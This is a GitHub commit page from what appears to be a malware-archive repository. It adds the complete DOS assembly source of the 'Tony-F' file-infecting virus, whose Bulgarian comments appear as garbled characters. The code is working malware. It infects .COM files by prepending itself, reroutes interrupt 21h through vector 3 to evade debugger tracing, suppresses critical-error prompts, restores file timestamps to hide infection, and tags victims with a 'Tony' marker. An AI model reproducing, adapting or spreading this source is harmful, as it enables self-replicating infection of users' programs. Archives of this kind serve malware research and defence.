Add files via upload

This commit is contained in:
vxunderground
2021-01-12 18:01:59 -06:00
committed by GitHub
parent 5dd4938a52
commit 3e7d2e8262
99 changed files with 45150 additions and 0 deletions
+201
View File
@@ -0,0 +1,201 @@
;------------------------------------------------------------------------------;
; ;
; ‚¨°³± Tony-F ;
; ;
; Tony_F ¥ ¯ ° §¨²¥­ ¢¨°³±,¤¥©±²¢¨¥²® ¬³ ±¥ ±º±²®© ¢ ±«¥¤­®²® - ¯°¨ ±² °²¨° ­¥;
; ­  § ° §¥­ ´ ©« ¢¨°³±º² ¯°¥²º°±¢  ¶¿« ²  ²¥ª³¹  ¤¨°¥ª²®°¨¿ ¨ § ° §¿¢  ¢±¨·ª¨ ;
; ´ ©«®¢¥ ®²£®¢ °¿¹¨ ­  ?*.COM, ª ²® ? § ¢¨±¨ ®² ¤ ² ² . ;
; Tony-F ±¥ ­ ±² ­¿¢  ¯°¥¤¨ ª®¤  ­  § ° §¥­¨¿ ´ ©«, ¢¨°³±º² ®°£ ­¨§¨°  ;
; ±®¡±²¢¥­  ¯°®¶¥¤³°  §  ®¡° ¡®²ª  ­  ª°¨²¨·­¨ £°¥¸ª¨ (¢¥ª²®° 24h) ¨ ­¥ ¯°®¬¥­¿;
; ¤ ² ²  ¨ · ±  ­  § °¿§ ­¨²¥ ´ ©«®¢¥. ;
; Tony-F ­ ¬¨°  ®°¨£¨­ «­¨¿  ¤°¥± ­  ¢¥ª²®° 21h ¨ £® ¯®±² ¢¿ ¢ ² ¡«¨¶ ²  ­  ;
; ¯°¥ªº±¢ ­¨¿²  ª ²® ¢¥ª²®° 3, ² §¨ ®¯¥° ¶¨¿ ¯°¥·¨ ­  ¥¢¥­²³ «­® ²° ±¨° ­¥ ­  ;
; ¢¨°³±  ± ¤¥¡³£¥°. ;
;------------------------------------------------------------------------------;
;  ±¥¬¡«¨° ©²¥ ± Turbo Assembler 2.0+
.model Tiny
.code
VirLen = offset EndCode - offset Start ; „º«¦¨­  ­  ¢¨°³± .
;-----------------------------------------------------------------------------;
Org 07Fh
INT24 db ? ; ’³ª ¹¥ ¡º¤¥ ­ ±®·¥­ ¢¥ª²®° 24h.
Org 0100h
NewDTA db 15h dup (?) ; ‘²°³ª²³°  ­  DTA.
FAttr db ?
FTime dw ?
FDate dw ?
FLen dw ?, ?
FName db 0Dh dup (?)
;-----------------------------------------------------------------------------;
Org 100h
Start:
push ax ; ‡ ¯ §¢  ±º¤º°¦ ­¨¥²® ­  AX.
;...... ’³ª § ¯®·¢  ²º°±¥­¥²® ­  ®°¨£¨­ «­¨¿ ¢¥ª²®° 21h ¢ ±¥£¬¥­²  ­  „Ž‘
mov ax,1203h
int 2Fh ; °®·¨²  ±¥ ±¥£¬¥­²  ­  „Ž‘.
xor si,si ; ް¨£¨­ «­¨¿ ¢¥ª²®° ±¥ ²º°±¨ ¯® ¯º°¢¨²¥
Again: ; ²°¨ ¡ ©²  - 2…h,3€h ¨ 26h.
lodsw
cmp ax,3A2Eh
je NextByte
dec si
jnz Again
jmp Done
NextByte:
lodsb
cmp al,26h
jne Again
Found:
sub si,03
mov dx,si
mov ax,2503H ; ¢¥ª²®° 21h ±¥ ¯®±² ¢¿ ­  ¬¿±²®²® ­ 
Int 21h ; ¢¥ª²®° 3.
push cs ; ¢º§±² ­®¢¿¢  ±¥ ±²®©­®±²²  ­  DS.
pop ds
;...... °¥­ ±®·¢ ­¥ ­  ¢¥ª²®°  §  ª°¨²¨·­¨ £°¥¸ª¨
mov INT24,0CFh ; ‘º§¤ ¢  ­®¢ ¢¥ª²®° 24h - Iret
mov ax,2524h
mov dx,offset INT24
Int 3 ; °¥­ ±®·¢  ¢¥ª²®°  24h.
mov ax,cs
add ah,10h
mov es,ax ; ES = CS + 64 KBytes
mov si,offset Start
xor di,di
mov cx,si ; °¥µ¢º°«¿ ª®¤  ­  ¢¨°³±  64KBytes
rep movsb ; ¯®-­ £®°¥ ¢ ¯ ¬¥²² .
mov dx,offset NewDTA ; ®±² ¢¿ DTA ­  ­®¢  ¤°¥±.
mov ah,1Ah
Int 3
mov ah,2Ah
Int 3 ; ˆ±ª  ®² „Ž‘ ¤ ² ² ,
add dl,'A' ; ¨ ®² ­¥¿ ±¥ ¯®«³· ¢  ¯º°¢ ²  ¡³ª¢ 
mov AllCom ,dl ; ­  ´ ©«®¢¥²¥ §  § ° §¿¢ ­¥.
;...... ‡ ¯®·¢  ²º°±¥­¥ ­  ´ ©«®¢¥ §  § ° §¿¢ ­¥.
mov dx, offset AllCom ; ’º°±¨ ¢±¨·ª¨ '?*.COM' ´ ©«®¢¥.
mov cl,110B
mov ah,4Eh ; ˆ§¢¨ª¢  Find First.
Int 3
jc Done ; °®¤º«¦ ¢  ­ ² ²ºª ¯°¨ «¨¯±  ­ 
; ´ ©«®¢¥ §  § ° §¿¢ ­¥.
FindNext:
mov dx,offset Fname ; ‚ dx  ¤°¥±  ­  ¨¬¥²® ­  ´ ©«  ®² DTA.
mov ax,3D02h ; ޲¢ °¿ ´ ©«  §  § ¯¨±/·¥²¥­¥.
Int 3
mov bx,ax ; ‡ ¯ §¢  ­®¬¥°  ­  ®²¢®°¥­¨¿ ´ ©«.
push ds ; ‡ ¯ §¢  DS.
push es
pop ds ; DS = CS + 64 KBytes.
mov dx,VirLen ; DX = ¤º«¦¨­ ²  ­  ¢¨°³±  .
mov cx,-1 ; °®·¨²  ±¥ ¶¥«¨¿ ´ ©« ­   ¤°¥± - DS:DX .
mov ah,3Fh ; ’ ¬ ±¥ ­ ¬¨°  ¢¨°³± ,  ±¥£  ±«¥¤ ­¥£®
Int 3 ; ¨ ´ ©«º².
; “¢¥«¨· ¢  ¤º«¦¨­ ²  ­  ´ ©« (AX) ±
add ax,Virlen ; ¤º«¦¨­ ²  ­  ¢¨°³± .
jc Close ; °¨ ¯°¥¯º«¢ ­¥ ´ ©«º² ­¥ ±¥ § ° §¿¢ .
cmp Byte ptr ds:[ Mark + VirLen -100h ],'T' ; „ «¨ ´ ©«º² ¥ § ° §¥­ ¢¥·¥ ?
je Close
push ax ; ‡ ¯ §¢  ¤º«¦¨­ ²  ­  ´ ©«  ¢ ±²¥ª .
xor cx,cx
xor dx,dx
mov ax,4200h ; °¥¬¥±²¢  ±¥ ³ª § ²¥«¿ ­  ´ ©« (CX:DX)
Int 3 ; ¢ ­ · «®²® ¬³.
pop cx ; °®·¨²  ¤º«¦¨­ ²  ­  ´ ©«  ®² ±²¥ª .
; DX ¥ ° ¢­® ­  0 ®² Fn 42.
mov ah,40h ; ޲  ¤°¥±  DS:DX ±¥ § ¯¨±¢  ­  ¤¨±ª 
Int 3 ; ¢¨°³± + ´ ©«.
mov cx,cs:FTime
mov dx,cs:FDate ; ‚º§±² ­®¢¿¢ ² ±¥ ¤ ² ²  ¨ ¢°¥¬¥²® ­ 
mov ax,5701h ; § ° §¿¢ ­¨¿ ´ ©« ®² DTA.
Int 3
Close:
pop ds ; ‚º§±² ­®¢¿¢  DS.
mov ah,3Eh ; ‡ ²¢ °¿ ´ ©« .
Int 3
mov ah,4Fh
Int 3 ; ˆ§¢¨ª¢  Find Next,
jnc FindNext ;  ª® ¨¬  ®¹¥ ´ ©«®¢¥ ¢±¨·ª® ±¥ ¯®¢² °¿
; ¨ §  ²¿µ.
;.......  · «® ­  ±² °²¨° ­¥ ­  ¯°®£° ¬ ²  ªº¬ ª®¿²® ¥ § ª ·¥­ ¢¨°³± .
Done:
mov dx,80h
mov ah,1Ah
Int 3 ; ‚º§±² ­®¢¿¢  ±¥ ±² °¨¿  ¤°¥± ­  DTA.
push es
mov ax,offset TransF -100h ; °¥¤ ¢  ³¯° ¢«¥­¨¥²® ­  ¢¨°³± 
push ax ; ª®©²® ¥ 64 KBytes ¯®-­ £®°¥
RETF ; ®² ¥²¨ª¥² TransF.
;........................................
; Œ °ª¨°®¢ª  §  ° §¯®§­ ¢ ­¥ ­  § ° §¥­¨
Mark db 'Tony' ; ´ ©«®¢¥.
AllCom db '+' ;
db '*.COM',0 ; Œ ±ª  §  ²º°±¥­¥ ­  ¢±¨·ª¨ ´ ©«®¢¥
;.......................................; §  § ° §¿¢ ­¥.
TRansF:
push ds
pop es
pop ax ; ‚º§±² ­®¢¿¢  ±º¤º°¦ ­¨¥²® ­  AX.
mov si,offset EndCode ; ‘¬ºª¢  ª®¤  ­  ¯°®£° ¬ ²  § ¯®·¢ ¹
mov di,offset Start ; ­¥¯®±°¥¤±²¢¥­® ±«¥¤ ¢¨°³±  ± 100h ¡ ©²  ­ ¤®«³.
push ds ; ®¤£®²¢¿  ¤°¥±  ¢ ±²¥ª  §  ¯°¥µ®¤ 
push di ; ªº¬ ­ · «®²® ­  ®°¨£¨­ «­ ²  ¯°®£° ¬ .
mov cx,0FFF0h -102h -Virlen
rep movsb
RETF
;-----------------------------------------------------------------------------;
EndCode:
Ret ; ޲ ²³ª § ¯®·¢  § ° §¥­ ²  ¯°®£° ¬ 
;-----------------------------------------------------------------------------;
End Start